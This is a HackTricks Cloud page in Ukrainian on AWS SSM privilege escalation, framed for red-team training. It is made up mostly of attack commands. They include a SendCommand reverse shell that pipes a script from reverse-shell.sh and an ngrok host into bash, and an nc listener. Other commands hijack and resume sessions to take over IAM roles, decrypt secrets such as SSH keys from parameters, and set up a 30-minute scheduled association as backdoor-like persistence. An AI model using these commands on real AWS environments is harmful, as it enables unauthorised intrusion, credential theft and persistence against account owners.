AWS - SSM Privesc
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
SSM
Для отримання додаткової інформації про SSM див.:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Зловмисник із дозволом ssm:SendCommand може виконувати команди на інстансах, де запущено Amazon SSM Agent, і компрометувати IAM Role, що працює всередині них.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Якщо ви використовуєте цю техніку для escalate privileges всередині вже скомпрометованого EC2 instance, ви можете просто перехопити rev shell локально за допомогою:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Потенційний вплив: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів, де працюють SSM Agents.
ssm:StartSession
Зловмисник з дозволом ssm:StartSession може ініціювати SSH-подібну сесію на інстансах, де запущено Amazon SSM Agent, і компрометувати IAM Role, що працює всередині.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Для початку сесії потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із запущеними SSM Agents.
Privesc до ECS
Коли ECS tasks працюють з увімкненим ExecuteCommand, користувачі з достатніми правами можуть використати ecs execute-command, щоб execute a command всередині контейнера.
Згідно з the documentation це робиться шляхом створення захищеного каналу між пристроєм, який ви використовуєте для ініціації команди “exec“ та цільовим контейнером за допомогою SSM Session Manager. (SSM Session Manager Plugin необхідний для цього)\
Тому, користувачі з ssm:StartSession зможуть get a shell inside ECS tasks з увімкненою цією опцією просто запустивши:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Можливий вплив: Прямий privesc до ECSIAM ролей, прикріплених до працюючих завдань з увімкненим ExecuteCommand.
ssm:ResumeSession
An attacker, який має дозвіл ssm:ResumeSession, може повторно відновити SSH-подібну сесію на інстансах, де працює Amazon SSM Agent, коли SSM session перебуває в стані disconnected, та компрометувати IAM Role яка працює всередині неї.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Потенційний вплив: Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із SSM Agents, що працюють, але з відключеними сесіями.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Зловмисник з зазначеними дозволами зможе перерахувати SSM parameters та читати їх у відкритому вигляді. У цих параметрах часто можна знайти чутливу інформацію, таку як SSH keys або API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Можливий вплив: Знайти конфіденційну інформацію в параметрах.
ssm:ListCommands
Атакувальник з цим дозволом може перерахувати всі надіслані commands та, можливо, знайти в них конфіденційну інформацію.
aws ssm list-commands
Потенційний вплив: Знаходження чутливої інформації в рядках команд.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Атакуючий з такими дозволами може перерахувати всі надіслані команди та читати вивід, який вони генерують, сподіваючись знайти в ньому чутливу інформацію.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Можливий вплив: Можливість виявлення конфіденційної інформації у виводі команд.
Використання ssm:CreateAssociation
Зловмисник з дозволом ssm:CreateAssociation може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на періодичне виконання через фіксований інтервал, що робить їх придатними для стійкої присутності, схожої на бекдор, без необхідності інтерактивних сесій.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
Цей метод персистенції працює доти, поки EC2 instance керується Systems Manager, SSM agent запущено, і зловмисник має дозволи на створення associations. Він не вимагає інтерактивних сесій або явних дозволів ssm:SendCommand. Важливо: параметр --schedule-expression (наприклад, rate(30 minutes)) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть --schedule-expression — the association will execute once after creation.
Codebuild
Ви також можете використати SSM, щоб потрапити всередину проекту codebuild під час його побудови:
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud